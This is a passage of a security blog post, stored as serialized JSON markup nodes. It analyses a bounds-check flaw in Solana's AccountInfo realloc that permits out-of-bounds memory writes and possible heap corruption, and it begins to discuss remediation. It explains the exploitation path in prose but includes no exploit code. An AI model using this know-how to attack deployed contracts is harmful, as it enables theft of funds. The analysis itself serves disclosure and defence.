u64;\n",[149932],{"type":26,"tag":83,"props":149933,"children":149934},{"__ignoreMap":8},[149935,149943,150070],{"type":26,"tag":217,"props":149936,"children":149937},{"class":7028,"line":7029},[149938],{"type":26,"tag":217,"props":149939,"children":149940},{"style":7033},[149941],{"type":32,"value":149942},"// Then set the new length in the local slice\n",{"type":26,"tag":217,"props":149944,"children":149945},{"class":7028,"line":6770},[149946,149950,149954,149958,149962,149966,149970,149974,149978,149982,149986,149990,149994,149998,150002,150006,150010,150014,150018,150022,150026,150030,150034,150038,150042,150046,150050,150054,150058,150062,150066],{"type":26,"tag":217,"props":149947,"children":149948},{"style":7154},[149949],{"type":32,"value":12470},{"type":26,"tag":217,"props":149951,"children":149952},{"style":7054},[149953],{"type":32,"value":120800},{"type":26,"tag":217,"props":149955,"children":149956},{"style":7149},[149957],{"type":32,"value":8993},{"type":26,"tag":217,"props":149959,"children":149960},{"style":7149},[149961],{"type":32,"value":10222},{"type":26,"tag":217,"props":149963,"children":149964},{"style":7154},[149965],{"type":32,"value":90786},{"type":26,"tag":217,"props":149967,"children":149968},{"style":7149},[149969],{"type":32,"value":9690},{"type":26,"tag":217,"props":149971,"children":149972},{"style":7048},[149973],{"type":32,"value":147862},{"type":26,"tag":217,"props":149975,"children":149976},{"style":7154},[149977],{"type":32,"value":91922},{"type":26,"tag":217,"props":149979,"children":149980},{"style":7149},[149981],{"type":32,"value":180},{"type":26,"tag":217,"props":149983,"children":149984},{"style":7048},[149985],{"type":32,"value":33715},{"type":26,"tag":217,"props":149987,"children":149988},{"style":7149},[149989],{"type":32,"value":180},{"type":26,"tag":217,"props":149991,"children":149992},{"style":7064},[149993],{"type":32,"value":147883},{"type":26,"tag":217,"props":149995,"children":149996},{"style":7048},[149997],{"type":32,"value":61808},{"type":26,"tag":217,"props":149999,"children":150000},{"style":7154},[150001],{"type":32,"value":91735},{"type":26,"tag":217,"props":150003,"children":150004},{"style":7149},[150005],{"type":32,"value":9690},{"type":26,"tag":217,"props":150007,"children":150008},{"style":7154},[150009],{"type":32,"value":74748},{"type":26,"tag":217,"props":150011,"children":150012},{"style":7119},[150013],{"type":32,"value":91146},{"type":26,"tag":217,"props":150015,"children":150016},{"style":7048},[150017],{"type":32,"value":1889},{"type":26,"tag":217,"props":150019,"children":150020},{"style":7149},[150021],{"type":32,"value":180},{"type":26,"tag":217,"props":150023,"children":150024},{"style":7064},[150025],{"type":32,"value":35030},{"type":26,"tag":217,"props":150027,"children":150028},{"style":7048},[150029],{"type":32,"value":1851},{"type":26,"tag":217,"props":150031,"children":150032},{"style":7130},[150033],{"type":32,"value":185},{"type":26,"tag":217,"props":150035,"children":150036},{"style":7048},[150037],{"type":32,"value":8380},{"type":26,"tag":217,"props":150039,"children":150040},{"style":7154},[150041],{"type":32,"value":91735},{"type":26,"tag":217,"props":150043,"children":150044},{"style":7119},[150045],{"type":32,"value":91146},{"type":26,"tag":217,"props":150047,"children":150048},{"style":7048},[150049],{"type":32,"value":8380},{"type":26,"tag":217,"props":150051,"children":150052},{"style":7154},[150053],{"type":32,"value":91735},{"type":26,"tag":217,"props":150055,"children":150056},{"style":7149},[150057],{"type":32,"value":9690},{"type":26,"tag":217,"props":150059,"children":150060},{"style":7154},[150061],{"type":32,"value":90786},{"type":26,"tag":217,"props":150063,"children":150064},{"style":7119},[150065],{"type":32,"value":91146},{"type":26,"tag":217,"props":150067,"children":150068},{"style":7048},[150069],{"type":32,"value":7669},{"type":26,"tag":217,"props":150071,"children":150072},{"class":7028,"line":6779},[150073,150077,150081,150085,150089,150093,150097],{"type":26,"tag":217,"props":150074,"children":150075},{"style":7149},[150076],{"type":32,"value":10006},{"type":26,"tag":217,"props":150078,"children":150079},{"style":7054},[150080],{"type":32,"value":12350},{"type":26,"tag":217,"props":150082,"children":150083},{"style":7149},[150084],{"type":32,"value":8993},{"type":26,"tag":217,"props":150086,"children":150087},{"style":7054},[150088],{"type":32,"value":147803},{"type":26,"tag":217,"props":150090,"children":150091},{"style":7154},[150092],{"type":32,"value":97268},{"type":26,"tag":217,"props":150094,"children":150095},{"style":7119},[150096],{"type":32,"value":91146},{"type":26,"tag":217,"props":150098,"children":150099},{"style":7048},[150100],{"type":32,"value":7162},{"type":26,"tag":39,"props":150102,"children":150103},{},[150104,150106,150112,150114,150125,150127,150133,150135,150141,150143,150148,150150,150154,150156,150167,150168,150174,150175,150182,150189,150191,150197,150199,150205,150207,150212,150213,150218,150220,150226,150228,150233],{"type":32,"value":150105},"That ",{"type":26,"tag":83,"props":150107,"children":150109},{"className":150108},[],[150110],{"type":32,"value":150111},"as_ptr()",{"type":32,"value":150113}," call is ",{"type":26,"tag":163,"props":150115,"children":150118},{"href":150116,"rel":150117},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[167],[150119],{"type":26,"tag":83,"props":150120,"children":150122},{"className":150121},[],[150123],{"type":32,"value":150124},"RefCell::as_ptr()",{"type":32,"value":150126}," due to the ",{"type":26,"tag":83,"props":150128,"children":150130},{"className":150129},[],[150131],{"type":32,"value":150132},"Deref",{"type":32,"value":150134}," impl on ",{"type":26,"tag":83,"props":150136,"children":150138},{"className":150137},[],[150139],{"type":32,"value":150140},"Rc",{"type":32,"value":150142}," (remember also that ",{"type":26,"tag":83,"props":150144,"children":150146},{"className":150145},[],[150147],{"type":32,"value":149319},{"type":32,"value":150149}," itself doesn't behave like a reference, you need to actually ",{"type":26,"tag":65,"props":150151,"children":150152},{},[150153],{"type":32,"value":67276},{"type":32,"value":150155}," one through ",{"type":26,"tag":163,"props":150157,"children":150160},{"href":150158,"rel":150159},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[167],[150161],{"type":26,"tag":83,"props":150162,"children":150164},{"className":150163},[],[150165],{"type":32,"value":150166},"borrow",{"type":32,"value":19795},{"type":26,"tag":163,"props":150169,"children":150172},{"href":150170,"rel":150171},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[167],[150173],{"type":32,"value":137356},{"type":32,"value":19795},{"type":26,"tag":163,"props":150176,"children":150179},{"href":150177,"rel":150178},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[167],[150180],{"type":32,"value":150181},"frie",{"type":26,"tag":163,"props":150183,"children":150186},{"href":150184,"rel":150185},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[167],[150187],{"type":32,"value":150188},"nds",{"type":32,"value":150190},"). So from ",{"type":26,"tag":83,"props":150192,"children":150194},{"className":150193},[],[150195],{"type":32,"value":150196},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":32,"value":150198}," we get a ",{"type":26,"tag":83,"props":150200,"children":150202},{"className":150201},[],[150203],{"type":32,"value":150204},"*mut &mut [u8]",{"type":32,"value":150206}," - a ",{"type":26,"tag":65,"props":150208,"children":150209},{},[150210],{"type":32,"value":150211},"pointer",{"type":32,"value":58894},{"type":26,"tag":65,"props":150214,"children":150215},{},[150216],{"type":32,"value":150217},"slice reference",{"type":32,"value":150219},". From here, we turn the pointer into a ",{"type":26,"tag":83,"props":150221,"children":150223},{"className":150222},[],[150224],{"type":32,"value":150225},"*const u64",{"type":32,"value":150227}," pointer and then offset by 1 ",{"type":26,"tag":83,"props":150229,"children":150231},{"className":150230},[],[150232],{"type":32,"value":120978},{"type":32,"value":150234}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":26,"tag":39,"props":150236,"children":150237},{},[150238,150240,150245,150247,150252,150254,150259,150260,150265,150267,150273],{"type":32,"value":150239},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":26,"tag":163,"props":150241,"children":150243},{"href":150242},"#Towards-safer-unsafe",[150244],{"type":32,"value":149914},{"type":32,"value":150246}," too, I promise. In summary, we're writing the new length as a ",{"type":26,"tag":83,"props":150248,"children":150250},{"className":150249},[],[150251],{"type":32,"value":120978},{"type":32,"value":150253}," to the region starting 8 bytes from the start of the slice ",{"type":26,"tag":65,"props":150255,"children":150256},{},[150257],{"type":32,"value":150258},"reference",{"type":32,"value":26597},{"type":26,"tag":83,"props":150261,"children":150263},{"className":150262},[],[150264],{"type":32,"value":149280},{"type":32,"value":150266},").So, what does ",{"type":26,"tag":83,"props":150268,"children":150270},{"className":150269},[],[150271],{"type":32,"value":150272},"&[T]",{"type":32,"value":150274}," look like in Rust?",{"type":26,"tag":39,"props":150276,"children":150277},{},[150278,150280,150287,150289,150302,150304,150310],{"type":32,"value":150279},"According to ",{"type":26,"tag":163,"props":150281,"children":150284},{"href":150282,"rel":150283},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[167],[150285],{"type":32,"value":150286},"the reference",{"type":32,"value":150288},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":26,"tag":163,"props":150290,"children":150293},{"href":150291,"rel":150292},"https://doc.rust-lang.org/reference/type-layout.html",[167],[150294,150296,150300],{"type":32,"value":150295},"\"Type layout can be changed with each compilation. ",{"type":26,"tag":217,"props":150297,"children":150298},{},[150299],{"type":32,"value":13251},{"type":32,"value":150301}," we only document what is guaranteed today\"",{"type":32,"value":150303},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":26,"tag":83,"props":150305,"children":150307},{"className":150306},[],[150308],{"type":32,"value":150309},"rustc",{"type":32,"value":150311},", the layout is a data pointer followed by the size; essentially the same as:",{"type":26,"tag":207,"props":150313,"children":150315},{"className":9574,"code":150314,"language":2255,"meta":8,"style":8},"// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[150316],{"type":26,"tag":83,"props":150317,"children":150318},{"__ignoreMap":8},[150319,150327,150339,150354,150366],{"type":26,"tag":217,"props":150320,"children":150321},{"class":7028,"line":7029},[150322],{"type":26,"tag":217,"props":150323,"children":150324},{"style":7033},[150325],{"type":32,"value":150326},"// C language\n",{"type":26,"tag":217,"props":150328,"children":150329},{"class":7028,"line":6770},[150330,150334],{"type":26,"tag":217,"props":150331,"children":150332},{"style":7154},[150333],{"type":32,"value":12224},{"type":26,"tag":217,"props":150335,"children":150336},{"style":7048},[150337],{"type":32,"value":150338}," slice_ref {\n",{"type":26,"tag":217,"props":150340,"children":150341},{"class":7028,"line":6779},[150342,150346,150350],{"type":26,"tag":217,"props":150343,"children":150344},{"style":7154},[150345],{"type":32,"value":15261},{"type":26,"tag":217,"props":150347,"children":150348},{"style":7149},[150349],{"type":32,"value":10006},{"type":26,"tag":217,"props":150351,"children":150352},{"style":7048},[150353],{"type":32,"value":12265},{"type":26,"tag":217,"props":150355,"children":150356},{"class":7028,"line":7140},[150357,150361],{"type":26,"tag":217,"props":150358,"children":150359},{"style":7154},[150360],{"type":32,"value":12306},{"type":26,"tag":217,"props":150362,"children":150363},{"style":7048},[150364],{"type":32,"value":150365}," len;\n",{"type":26,"tag":217,"props":150367,"children":150368},{"class":7028,"line":7165},[150369],{"type":26,"tag":217,"props":150370,"children":150371},{"style":7048},[150372],{"type":32,"value":12331},{"type":26,"tag":39,"props":150374,"children":150375},{},[150376],{"type":32,"value":150377},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":26,"tag":6712,"props":150379,"children":150380},{},[150381,150386,150403],{"type":26,"tag":2044,"props":150382,"children":150383},{},[150384],{"type":32,"value":150385},"Slices are laid out in the precise manner described",{"type":26,"tag":2044,"props":150387,"children":150388},{},[150389,150391,150396,150398],{"type":32,"value":150390},"Pointers and ",{"type":26,"tag":83,"props":150392,"children":150394},{"className":150393},[],[150395],{"type":32,"value":144534},{"type":32,"value":150397}," are the same width as ",{"type":26,"tag":83,"props":150399,"children":150401},{"className":150400},[],[150402],{"type":32,"value":120978},{"type":26,"tag":2044,"props":150404,"children":150405},{},[150406,150407,150412],{"type":32,"value":475},{"type":26,"tag":83,"props":150408,"children":150410},{"className":150409},[],[150411],{"type":32,"value":149319},{"type":32,"value":150413}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":26,"tag":39,"props":150415,"children":150416},{},[150417,150419,150424,150426,150432,150434,150439,150441,150447,150449,150454,150456,150466],{"type":32,"value":150418},"Assumption #2 is ",{"type":26,"tag":65,"props":150420,"children":150421},{},[150422],{"type":32,"value":150423},"probably",{"type":32,"value":150425}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":26,"tag":83,"props":150427,"children":150429},{"className":150428},[],[150430],{"type":32,"value":150431},"borrow_mut",{"type":32,"value":150433}," of the ",{"type":26,"tag":83,"props":150435,"children":150437},{"className":150436},[],[150438],{"type":32,"value":149319},{"type":32,"value":150440}," (through ",{"type":26,"tag":83,"props":150442,"children":150444},{"className":150443},[],[150445],{"type":32,"value":150446},"AccountInfo::try_borrow_mut_data()",{"type":32,"value":150448},"), and ",{"type":26,"tag":83,"props":150450,"children":150452},{"className":150451},[],[150453],{"type":32,"value":149319},{"type":32,"value":150455}," is not usable between multiple threads",{"type":26,"tag":98386,"props":150457,"children":150458},{},[150459],{"type":26,"tag":163,"props":150460,"children":150464},{"href":150461,"ariaDescribedBy":150462,"dataFootnoteRef":8,"id":150463},"#user-content-fn-sendsync",[98393],"user-content-fnref-sendsync",[150465],{"type":32,"value":332},{"type":32,"value":150467},", so we already have exclusive access.",{"type":26,"tag":39,"props":150469,"children":150470},{},[150471,150473,150477],{"type":32,"value":150472},"A few more ",{"type":26,"tag":65,"props":150474,"children":150475},{},[150476],{"type":32,"value":101594},{"type":32,"value":150478}," things of note, that could have gone badly but didn't:",{"type":26,"tag":2040,"props":150480,"children":150481},{},[150482,150523],{"type":26,"tag":2044,"props":150483,"children":150484},{},[150485,150487,150493,150495,150500,150502,150506,150508,150513,150515,150521],{"type":32,"value":150486},"By reborrowing the pointer (the ",{"type":26,"tag":83,"props":150488,"children":150490},{"className":150489},[],[150491],{"type":32,"value":150492},"&mut *(\u003Cvalue of type *mut u64>)",{"type":32,"value":150494},"), we've created a reference with an ",{"type":26,"tag":65,"props":150496,"children":150497},{},[150498],{"type":32,"value":150499},"unbounded lifetime",{"type":32,"value":150501},". Rust is free to infer ",{"type":26,"tag":65,"props":150503,"children":150504},{},[150505],{"type":32,"value":129698},{"type":32,"value":150507}," lifetime for ",{"type":26,"tag":83,"props":150509,"children":150511},{"className":150510},[],[150512],{"type":32,"value":12350},{"type":32,"value":150514}," (including ",{"type":26,"tag":83,"props":150516,"children":150518},{"className":150517},[],[150519],{"type":32,"value":150520},"'static",{"type":32,"value":150522},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":26,"tag":2044,"props":150524,"children":150525},{},[150526,150528,150534,150536,150541,150543,150548,150550,150555,150556,150561,150563,150568,150570,150575,150577,150583,150584,150589,150591,150596,150598,150603,150605,150610,150612,150617],{"type":32,"value":150527},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":26,"tag":83,"props":150529,"children":150531},{"className":150530},[],[150532],{"type":32,"value":150533},"RefMut",{"type":32,"value":150535}," returned from ",{"type":26,"tag":83,"props":150537,"children":150539},{"className":150538},[],[150540],{"type":32,"value":123973},{"type":32,"value":150542},", but the ",{"type":26,"tag":83,"props":150544,"children":150546},{"className":150545},[],[150547],{"type":32,"value":150533},{"type":32,"value":150549}," is dropped at the end of the statement. So, we now have in ",{"type":26,"tag":83,"props":150551,"children":150553},{"className":150552},[],[150554],{"type":32,"value":12350},{"type":32,"value":75845},{"type":26,"tag":65,"props":150557,"children":150558},{},[150559],{"type":32,"value":150560},"mutable",{"type":32,"value":150562}," pointer to the ",{"type":26,"tag":83,"props":150564,"children":150566},{"className":150565},[],[150567],{"type":32,"value":149319},{"type":32,"value":150569},"'s data, but the ",{"type":26,"tag":83,"props":150571,"children":150573},{"className":150572},[],[150574],{"type":32,"value":149319},{"type":32,"value":150576}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":26,"tag":83,"props":150578,"children":150580},{"className":150579},[],[150581],{"type":32,"value":150582},"Mutex",{"type":32,"value":104173},{"type":26,"tag":83,"props":150585,"children":150587},{"className":150586},[],[150588],{"type":32,"value":149319},{"type":32,"value":150590}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":26,"tag":83,"props":150592,"children":150594},{"className":150593},[],[150595],{"type":32,"value":12350},{"type":32,"value":150597}," and writing to it ",{"type":26,"tag":65,"props":150599,"children":150600},{},[150601],{"type":32,"value":150602},"and succeed",{"type":32,"value":150604},", resulting in us writing while another reference is alive. However, since ",{"type":26,"tag":83,"props":150606,"children":150608},{"className":150607},[],[150609],{"type":32,"value":12350},{"type":32,"value":150611}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":26,"tag":83,"props":150613,"children":150615},{"className":150614},[],[150616],{"type":32,"value":33715},{"type":32,"value":150618}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":26,"tag":39,"props":150620,"children":150621},{},[150622,150624,150629],{"type":32,"value":150623},"Ok, now that we've understood what the code is ",{"type":26,"tag":65,"props":150625,"children":150626},{},[150627],{"type":32,"value":150628},"trying",{"type":32,"value":150630}," to do, let's try to break it, shall we?",{"type":26,"tag":27,"props":150632,"children":150634},{"id":150633},"what-can-go-wrong",[150635],{"type":32,"value":150636},"What can go wrong?",{"type":26,"tag":607,"props":150638,"children":150640},{"id":150639},"contracts",[150641],{"type":32,"value":150642},"Contracts",{"type":26,"tag":39,"props":150644,"children":150645},{},[150646,150648,150653,150655,150660,150662,150667,150669,150674],{"type":32,"value":150647},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":26,"tag":83,"props":150649,"children":150651},{"className":150650},[],[150652],{"type":32,"value":147499},{"type":32,"value":150654},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":26,"tag":83,"props":150656,"children":150658},{"className":150657},[],[150659],{"type":32,"value":147499},{"type":32,"value":150661}," to some large size, past the end of the buffer of roughly ",{"type":26,"tag":83,"props":150663,"children":150665},{"className":150664},[],[150666],{"type":32,"value":149115},{"type":32,"value":150668}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":26,"tag":83,"props":150670,"children":150672},{"className":150671},[],[150673],{"type":32,"value":33715},{"type":32,"value":150675}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":26,"tag":39,"props":150677,"children":150678},{},[150679,150681,150688],{"type":32,"value":150680},"There is ",{"type":26,"tag":163,"props":150682,"children":150685},{"href":150683,"rel":150684},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[167],[150686],{"type":32,"value":150687},"a check",{"type":32,"value":150689}," by the BPF loader, however, and it boils down to:",{"type":26,"tag":207,"props":150691,"children":150693},{"className":56140,"code":150692,"language":56139,"meta":8,"style":8},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[150694],{"type":26,"tag":83,"props":150695,"children":150696},{"__ignoreMap":8},[150697,150735,150765,150772,150804],{"type":26,"tag":217,"props":150698,"children":150699},{"class":7028,"line":7029},[150700,150704,150709,150713,150717,150721,150725,150730],{"type":26,"tag":217,"props":150701,"children":150702},{"style":7042},[150703],{"type":32,"value":7045},{"type":26,"tag":217,"props":150705,"children":150706},{"style":7054},[150707],{"type":32,"value":150708}," post_len",{"type":26,"tag":217,"props":150710,"children":150711},{"style":7149},[150712],{"type":32,"value":180},{"type":26,"tag":217,"props":150714,"children":150715},{"style":7064},[150716],{"type":32,"value":148133},{"type":26,"tag":217,"props":150718,"children":150719},{"style":7048},[150720],{"type":32,"value":1851},{"type":26,"tag":217,"props":150722,"children":150723},{"style":7149},[150724],{"type":32,"value":10006},{"type":26,"tag":217,"props":150726,"children":150727},{"style":7054},[150728],{"type":32,"value":150729},"pre_len",{"type":26,"tag":217,"props":150731,"children":150732},{"style":7048},[150733],{"type":32,"value":150734},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":26,"tag":217,"props":150736,"children":150737},{"class":7028,"line":6770},[150738,150743,150747,150751,150756,150760],{"type":26,"tag":217,"props":150739,"children":150740},{"style":7149},[150741],{"type":32,"value":150742},"    ||",{"type":26,"tag":217,"props":150744,"children":150745},{"style":7054},[150746],{"type":32,"value":150708},{"type":26,"tag":217,"props":150748,"children":150749},{"style":7149},[150750],{"type":32,"value":66933},{"type":26,"tag":217,"props":150752,"children":150753},{"style":7048},[150754],{"type":32,"value":150755}," MAX_PERMITTED_DATA_LENGTH ",{"type":26,"tag":217,"props":150757,"children":150758},{"style":7154},[150759],{"type":32,"value":91735},{"type":26,"tag":217,"props":150761,"children":150762},{"style":7119},[150763],{"type":32,"value":150764}," usize\n",{"type":26,"tag":217,"props":150766,"children":150767},{"class":7028,"line":6779},[150768],{"type":26,"tag":217,"props":150769,"children":150770},{"style":7048},[150771],{"type":32,"value":10033},{"type":26,"tag":217,"props":150773,"children":150774},{"class":7028,"line":7140},[150775,150779,150783,150787,150791,150795,150800],{"type":26,"tag":217,"props":150776,"children":150777},{"style":7042},[150778],{"type":32,"value":7171},{"type":26,"tag":217,"props":150780,"children":150781},{"style":7119},[150782],{"type":32,"value":77979},{"type":26,"tag":217,"props":150784,"children":150785},{"style":7048},[150786],{"type":32,"value":1851},{"type":26,"tag":217,"props":150788,"children":150789},{"style":7119},[150790],{"type":32,"value":92628},{"type":26,"tag":217,"props":150792,"children":150793},{"style":7149},[150794],{"type":32,"value":56166},{"type":26,"tag":217,"props":150796,"children":150797},{"style":7119},[150798],{"type":32,"value":150799},"InvalidRealloc",{"type":26,"tag":217,"props":150801,"children":150802},{"style":7048},[150803],{"type":32,"value":7669},{"type":26,"tag":217,"props":150805,"children":150806},{"class":7028,"line":7165},[150807],{"type":26,"tag":217,"props":150808,"children":150809},{"style":7048},[150810],{"type":32,"value":7184},{"type":26,"tag":39,"props":150812,"children":150813},{},[150814,150816,150821,150823,150828],{"type":32,"value":150815},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":26,"tag":65,"props":150817,"children":150818},{},[150819],{"type":32,"value":150820},"finishes",{"type":32,"value":150822}," execution. ",{"type":26,"tag":65,"props":150824,"children":150825},{},[150826],{"type":32,"value":150827},"During",{"type":32,"value":150829}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":26,"tag":39,"props":150831,"children":150832},{},[150833,150835,150840,150842,150847,150849,150856],{"type":32,"value":150834},"The end result is that in order to successfully exploit this bug, an attacker needs a way to change the length back to something valid before the program exits. However, with potentially ",{"type":26,"tag":65,"props":150836,"children":150837},{},[150838],{"type":32,"value":150839},"arbitrary",{"type":32,"value":150841}," memory access through a mistakenly-",{"type":26,"tag":83,"props":150843,"children":150845},{"className":150844},[],[150846],{"type":32,"value":147499},{"type":32,"value":150848},"'d account, this falls in the relm of some ",{"type":26,"tag":163,"props":150850,"children":150853},{"href":150851,"rel":150852},"https://en.wikipedia.org/wiki/Buffer_overflow",[167],[150854],{"type":32,"value":150855},"old-school pwning",{"type":32,"value":150857}," - even if we can't use the out-of-bounds access directly, there's plenty of pointers in memory that could be of use.",{"type":26,"tag":607,"props":150859,"children":150861},{"id":150860},"not-contracts",[150862],{"type":32,"value":150863},"Not-contracts?",{"type":26,"tag":39,"props":150865,"children":150866},{},[150867,150869,150874,150876,150886,150888,150899,150901,150908,150910,150915,150917,150922,150924,150936,150938,150943,150945,150950],{"type":32,"value":150868},"Remember when we said that all this code makes sense ",{"type":26,"tag":65,"props":150870,"children":150871},{},[150872],{"type":32,"value":150873},"if the data points to the BPF loader's serialized buffer",{"type":32,"value":150875},"? Well unfortunately for us, there's nothing enforcing that; all the fields on ",{"type":26,"tag":163,"props":150877,"children":150880},{"href":150878,"rel":150879},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html",[167],[150881],{"type":26,"tag":83,"props":150882,"children":150884},{"className":150883},[],[150885],{"type":32,"value":93505},{"type":32,"value":150887}," are public, and so is its ",{"type":26,"tag":163,"props":150889,"children":150892},{"href":150890,"rel":150891},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/struct.AccountInfo.html#method.new",[167],[150893,150898],{"type":26,"tag":83,"props":150894,"children":150896},{"className":150895},[],[150897],{"type":32,"value":7116},{"type":32,"value":132247},{"type":32,"value":150900}," (which is ",{"type":26,"tag":163,"props":150902,"children":150905},{"href":150903,"rel":150904},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#160-180",[167],[150906],{"type":32,"value":150907},"nothing more than a thin wrapper around just creating the struct literal yourself",{"type":32,"value":150909},"). The ",{"type":26,"tag":83,"props":150911,"children":150913},{"className":150912},[],[150914],{"type":32,"value":147499},{"type":32,"value":150916}," code critically assumes that the memory 8 bytes behind the data buffer is the data's length and that we can write to it however we want when realloc'ing. So, clearly if we were to create an ",{"type":26,"tag":83,"props":150918,"children":150920},{"className":150919},[],[150921],{"type":32,"value":93505},{"type":32,"value":150923}," ourselves - potentially through the ",{"type":26,"tag":163,"props":150925,"children":150928},{"href":150926,"rel":150927},"https://docs.rs/solana-program/1.10.28/solana_program/account_info/trait.Account.html",[167],[150929,150934],{"type":26,"tag":83,"props":150930,"children":150932},{"className":150931},[],[150933],{"type":32,"value":143652},{"type":32,"value":150935}," trait",{"type":32,"value":150937},", which is hardly documented at all and makes ",{"type":26,"tag":65,"props":150939,"children":150940},{},[150941],{"type":32,"value":150942},"no",{"type":32,"value":150944}," mention of any prerequisites about the nature of the references that need to be returned - we'd run in to problems from pretty much any practical way we'd allocate the ",{"type":26,"tag":83,"props":150946,"children":150948},{"className":150947},[],[150949],{"type":32,"value":33715},{"type":32,"value":33732},{"type":26,"tag":39,"props":150952,"children":150953},{},[150954,150956,150967,150969,150975,150977,150983,150985,150997,150999,151004,151006,151011,151012,151017,151019,151024,151026,151031,151033,151038],{"type":32,"value":150955},"One long arm of this is ",{"type":26,"tag":163,"props":150957,"children":150960},{"href":150958,"rel":150959},"https://docs.rs/solana-sdk/1.10.28/solana_sdk/account/struct.Account.html",[167],[150961],{"type":26,"tag":83,"props":150962,"children":150964},{"className":150963},[],[150965],{"type":32,"value":150966},"solana_sdk::account::Account",{"type":32,"value":150968}," - in the client SDK. It holds an account's data in a ",{"type":26,"tag":83,"props":150970,"children":150972},{"className":150971},[],[150973],{"type":32,"value":150974},"Vec\u003Cu8>",{"type":32,"value":150976},", and it implements ",{"type":26,"tag":83,"props":150978,"children":150980},{"className":150979},[],[150981],{"type":32,"value":150982},"solana_program::account_info::Account",{"type":32,"value":150984}," (the trait from earlier) - by ",{"type":26,"tag":163,"props":150986,"children":150989},{"href":150987,"rel":150988},"https://docs.rs/solana-sdk/1.10.28/src/solana_sdk/account.rs.html#661-669",[167],[150990,150992],{"type":32,"value":150991},"returning a reference to the contents of that ",{"type":26,"tag":83,"props":150993,"children":150995},{"className":150994},[],[150996],{"type":32,"value":907},{"type":32,"value":150998},". So, ",{"type":26,"tag":83,"props":151000,"children":151002},{"className":151001},[],[151003],{"type":32,"value":147499},{"type":32,"value":151005}," writes the size into the 8 bytes right before ",{"type":26,"tag":83,"props":151007,"children":151009},{"className":151008},[],[151010],{"type":32,"value":33715},{"type":32,"value":13137},{"type":26,"tag":83,"props":151013,"children":151015},{"className":151014},[],[151016],{"type":32,"value":33715},{"type":32,"value":151018}," is the buffer of a ",{"type":26,"tag":83,"props":151020,"children":151022},{"className":151021},[],[151023],{"type":32,"value":907},{"type":32,"value":151025},", and so it is the contents of a heap allocation; and, immediately before a heap allocation sits critical metadata. The result? If, for some reason, you construct an ",{"type":26,"tag":83,"props":151027,"children":151029},{"className":151028},[],[151030],{"type":32,"value":93505},{"type":32,"value":151032}," out of an SDK ",{"type":26,"tag":83,"props":151034,"children":151036},{"className":151035},[],[151037],{"type":32,"value":143652},{"type":32,"value":151039}," and then realloc it (which admittedly is quite a stretch), then you get heap corruption - something that's very likely to lead to remote code execution.",{"type":26,"tag":27,"props":151041,"children":151043},{"id":151042},"remediation",[151044],{"type":32,"value":151045},"Remediation",{"type":26,"tag":39,"props":151047,"children":151048},{},[151049],{"type":32,"value":151050},"Obviously the fix for the main issue at hand is to check that the resize operation remains in-bounds. But how do we know how big is too big?",{"type":26,"tag":39,"props":151052,"children":151053},{},[151054,151056,151061,151063,151068,151070,151080,151082,151087,151089,151096],{"type":32,"value":151055},"The sensible thing to do would be to store the initial size in the ",{"type":26,"tag":83,"props":151057,"children":151059},{"className":151058},[],[151060],{"type":32,"value":93505},{"type":32,"value":151062},"... except for the fact that the layout of ",{"type":26,"tag":83,"props":151064,"children":151066},{"className":151065},[],[151067],{"type":32,"value":93505},{"type":32,"value":151069}," is actually part of the ABI between the contract runtime and the loader :face_palm:",{"type":26,"tag":98386,"props":151071,"children":151072},{},[151073],{"type":26,"tag":163,"props":151074,"children":151078},{"href":151075,"ariaDescribedBy":151076,"dataFootnoteRef":8,"id":151077},"#user-content-fn-layout",[98393],"user-content-fnref-layout",[151079],{"type":32,"value":10676},{"type":32,"value":151081}," So, with changing 